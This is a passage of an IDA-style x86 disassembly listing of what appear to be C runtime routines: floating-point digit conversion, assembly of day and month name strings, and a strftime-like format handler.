loc_42E1B1 ; --------------------------------------------------------------------------- loc_42E18F: ; CODE XREF: sub_42DFD0+193j ; sub_42DFD0+199j push offset dword_434D28 mov eax, [ebp+arg_14] add eax, 4 push eax call sub_4184C0 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_42E1B1: ; CODE XREF: sub_42DFD0+147j ; sub_42DFD0+18Aj ... jmp loc_42E4DF ; --------------------------------------------------------------------------- loc_42E1B6: ; CODE XREF: sub_42DFD0+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_4306E0 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_42E28D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_4302A0 add esp, 8 loc_42E28D: ; CODE XREF: sub_42DFD0+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_42E2E1 movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_42E2E1 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_42E4E2 ; --------------------------------------------------------------------------- loc_42E2E1: ; CODE XREF: sub_42DFD0+2CFj ; sub_42DFD0+2E1j cmp [ebp+arg_C], 15h jle short loc_42E2EE mov [ebp+arg_C], 15h loc_42E2EE: ; CODE XREF: sub_42DFD0+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_42E316 ; --------------------------------------------------------------------------- loc_42E30D: ; CODE XREF: sub_42DFD0+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_42E316: ; CODE XREF: sub_42DFD0+33Bj cmp [ebp+var_44], 8 jge short loc_42E32A lea edx, [ebp+var_38] push edx call sub_42D240 add esp, 4 jmp short loc_42E30D ; --------------------------------------------------------------------------- loc_42E32A: ; CODE XREF: sub_42DFD0+34Aj cmp [ebp+var_2E+2], 0 jge short loc_42E35C mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_42E348 ; --------------------------------------------------------------------------- loc_42E33F: ; CODE XREF: sub_42DFD0+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_42E348: ; CODE XREF: sub_42DFD0+36Dj cmp [ebp+var_74], 0 jle short loc_42E35C lea edx, [ebp+var_38] push edx call sub_42D2A0 add esp, 4 jmp short loc_42E33F ; --------------------------------------------------------------------------- loc_42E35C: ; CODE XREF: sub_42DFD0+35Ej ; sub_42DFD0+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_42E379 ; --------------------------------------------------------------------------- loc_42E370: ; CODE XREF: sub_42DFD0+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_42E379: ; CODE XREF: sub_42DFD0+39Ej cmp [ebp+var_10], 0 jle short loc_42E3E5 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_42D240 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_42D240 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_42D190 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_42D240 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_42E370 ; --------------------------------------------------------------------------- loc_42E3E5: ; CODE XREF: sub_42DFD0+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_42E463 jmp short loc_42E413 ; --------------------------------------------------------------------------- loc_42E40A: ; CODE XREF: sub_42DFD0+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42E413: ; CODE XREF: sub_42DFD0+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_42E431 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_42E431 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_42E40A ; --------------------------------------------------------------------------- loc_42E431: ; CODE XREF: sub_42DFD0+44Cj ; sub_42DFD0+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_42E455 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_42E455: ; CODE XREF: sub_42DFD0+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_42E4BC ; --------------------------------------------------------------------------- loc_42E463: ; CODE XREF: sub_42DFD0+436j jmp short loc_42E46E ; --------------------------------------------------------------------------- loc_42E465: ; CODE XREF: sub_42DFD0+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42E46E: ; CODE XREF: sub_42DFD0:loc_42E463j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_42E486 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_42E486 jmp short loc_42E465 ; --------------------------------------------------------------------------- loc_42E486: ; CODE XREF: sub_42DFD0+4A7j ; sub_42DFD0+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_42E4BC mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_42E4E2 ; --------------------------------------------------------------------------- loc_42E4BC: ; CODE XREF: sub_42DFD0+491j ; sub_42DFD0+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_42E4DF: ; CODE XREF: sub_42DFD0:loc_42E1B1j mov eax, [ebp+var_58] loc_42E4E2: ; CODE XREF: sub_42DFD0+E7j ; sub_42DFD0+30Cj ... mov esp, ebp pop ebp retn sub_42DFD0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_444DA8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42E518 ; --------------------------------------------------------------------------- loc_42E50F: ; CODE XREF: ___:0042E54Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42E518: ; CODE XREF: ___:0042E50Dj cmp dword ptr [ebp-10h], 7 jnb short loc_42E551 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_414BE0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_414BE0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42E50F ; --------------------------------------------------------------------------- loc_42E551: ; CODE XREF: ___:0042E51Cj mov eax, [ebp-8] add eax, 1 push eax call sub_414DB0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42E609 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_42E585 ; --------------------------------------------------------------------------- loc_42E57C: ; CODE XREF: ___:0042E5F8j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42E585: ; CODE XREF: ___:0042E57Aj cmp dword ptr [ebp-10h], 7 jnb short loc_42E5FA mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov edx, [ebp-14h] push edx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_42E57C ; --------------------------------------------------------------------------- loc_42E5FA: ; CODE XREF: ___:0042E589j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_42E609: ; CODE XREF: ___:0042E567j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_444DA8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42E648 ; --------------------------------------------------------------------------- loc_42E63F: ; CODE XREF: ___:0042E680j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42E648: ; CODE XREF: ___:0042E63Dj cmp dword ptr [ebp-10h], 0Ch jnb short loc_42E682 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_414BE0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_414BE0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42E63F ; --------------------------------------------------------------------------- loc_42E682: ; CODE XREF: ___:0042E64Cj mov eax, [ebp-8] add eax, 1 push eax call sub_414DB0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42E73B mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_42E6B6 ; --------------------------------------------------------------------------- loc_42E6AD: ; CODE XREF: ___:0042E72Aj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42E6B6: ; CODE XREF: ___:0042E6ABj cmp dword ptr [ebp-10h], 0Ch jnb short loc_42E72C mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_42E6AD ; --------------------------------------------------------------------------- loc_42E72C: ; CODE XREF: ___:0042E6BAj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_42E73B: ; CODE XREF: ___:0042E698j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, off_444DA8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42E778 ; --------------------------------------------------------------------------- loc_42E76F: ; CODE XREF: ___:0042E7AFj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42E778: ; CODE XREF: ___:0042E76Dj cmp dword ptr [ebp-10h], 7 jnb short loc_42E7B1 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_414BE0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_414BE0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42E76F ; --------------------------------------------------------------------------- loc_42E7B1: ; CODE XREF: ___:0042E77Cj mov dword ptr [ebp-10h], 0 jmp short loc_42E7C3 ; --------------------------------------------------------------------------- loc_42E7BA: ; CODE XREF: ___:0042E7FBj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42E7C3: ; CODE XREF: ___:0042E7B8j cmp dword ptr [ebp-10h], 0Ch jnb short loc_42E7FD mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_414BE0 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_414BE0 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_42E7BA ; --------------------------------------------------------------------------- loc_42E7FD: ; CODE XREF: ___:0042E7C7j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_414BE0 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_414BE0 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_414BE0 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_414BE0 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_414BE0 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_414DB0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42EAB6 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, off_444DA8 push eax mov ecx, [ebp-4] push ecx call sub_4187B0 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_42E8DA ; --------------------------------------------------------------------------- loc_42E8D1: ; CODE XREF: ___:0042E94Cj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42E8DA: ; CODE XREF: ___:0042E8CFj cmp dword ptr [ebp-10h], 7 jnb short loc_42E94E mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_42E8D1 ; --------------------------------------------------------------------------- loc_42E94E: ; CODE XREF: ___:0042E8DEj mov dword ptr [ebp-10h], 0 jmp short loc_42E960 ; --------------------------------------------------------------------------- loc_42E957: ; CODE XREF: ___:0042E9D4j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42E960: ; CODE XREF: ___:0042E955j cmp dword ptr [ebp-10h], 0Ch jnb short loc_42E9D6 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_42E957 ; --------------------------------------------------------------------------- loc_42E9D6: ; CODE XREF: ___:0042E964j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_4184C0 add esp, 8 push eax call sub_414BE0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_42EAB6: ; CODE XREF: ___:0042E899j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42EAE0 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EAE0 proc near ; CODE XREF: ___:0042EAD5p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_10], 0 jnz short loc_42EAF6 mov eax, off_444DA8 mov [ebp+var_10], eax jmp short loc_42EAFC ; --------------------------------------------------------------------------- loc_42EAF6: ; CODE XREF: sub_42EAE0+Aj mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx loc_42EAFC: ; CODE XREF: sub_42EAE0+14j mov edx, [ebp+var_10] mov [ebp+var_4], edx mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4DB45C call near ptr 2840CCAh nop cmp dword_4DB458, 0 jz short loc_42EB3A push offset dword_4DB45C call near ptr 2840C7Bh nop push 13h call sub_41B780 add esp, 4 mov [ebp+var_8], 1 jmp short loc_42EB41 ; --------------------------------------------------------------------------- loc_42EB3A: ; CODE XREF: sub_42EAE0+3Aj mov [ebp+var_8], 0 loc_42EB41: ; CODE XREF: sub_42EAE0+58j ; sub_42EAE0:loc_42EC2Dj cmp [ebp+var_C], 0 jbe loc_42EC32 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_42EB61 cmp [ebp+var_14], 25h jz short loc_42EB66 jmp short loc_42EBC0 ; --------------------------------------------------------------------------- loc_42EB61: ; CODE XREF: sub_42EAE0+77j jmp loc_42EC32 ; --------------------------------------------------------------------------- loc_42EB66: ; CODE XREF: sub_42EAE0+7Dj mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_4DB450, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_42EB97 mov dword_4DB450, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42EB97: ; CODE XREF: sub_42EAE0+A2j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_42EC70 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_42EC2D ; --------------------------------------------------------------------------- loc_42EBC0: ; CODE XREF: sub_42EAE0+7Fj mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42EC08 cmp [ebp+var_C], 1 jbe short loc_42EC08 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42EC08: ; CODE XREF: sub_42EAE0+FBj ; sub_42EAE0+101j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42EC2D: ; CODE XREF: sub_42EAE0+DEj jmp loc_42EB41 ; --------------------------------------------------------------------------- loc_42EC32: ; CODE XREF: sub_42EAE0+65j ; sub_42EAE0:loc_42EB61j cmp [ebp+var_8], 0 jz short loc_42EC44 push 13h call sub_41B820 add esp, 4 jmp short loc_42EC4F ; --------------------------------------------------------------------------- loc_42EC44: ; CODE XREF: sub_42EAE0+156j push offset dword_4DB45C call near ptr 2840C7Bh nop loc_42EC4F: ; CODE XREF: sub_42EAE0+162j cmp [ebp+var_C], 0 jbe short loc_42EC63 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] jmp short loc_42EC65 ; --------------------------------------------------------------------------- loc_42EC63: ; CODE XREF: sub_42EAE0+173j xor eax, eax loc_42EC65: ; CODE XREF: sub_42EAE0+181j mov esp, ebp pop ebp retn sub_42EAE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42EC70 proc near ; CODE XREF: sub_42EAE0+CDp ; sub_42F440+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_42F1D8 mov eax, [ebp+var_C] xor edx, edx mov dl, byte_42F239[eax] jmp off_42F1DD[edx*4] loc_42ECA3: ; DATA XREF: ___:0042F20Do mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax call sub_42F290 add esp, 0Ch jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42ECC5: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1E1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_42F290 add esp, 0Ch jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42ECE8: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F211o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_42F290 add esp, 0Ch jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42ED0B: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F1E5o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_42F290 add esp, 0Ch jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42ED2E: ; CODE XREF: sub_42EC70+2Cj ; DATA XREF: ___:0042F215o cmp dword_4DB450, 0 jz short loc_42EDB6 mov dword_4DB450, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_42F440 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_42ED70 jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: sub_42EC70+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_42F440 add esp, 14h jmp short loc_42EE29 ; --------------------------------------------------------------------------- loc_42EDB6: ; CODE XREF: sub_42EC70+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_42F440 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_42EDE5 jmp loc_42F1D8 ; --------------------------------------------------------------------------- loc_42EDE5: ; CODE XREF: sub_42EC70+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, 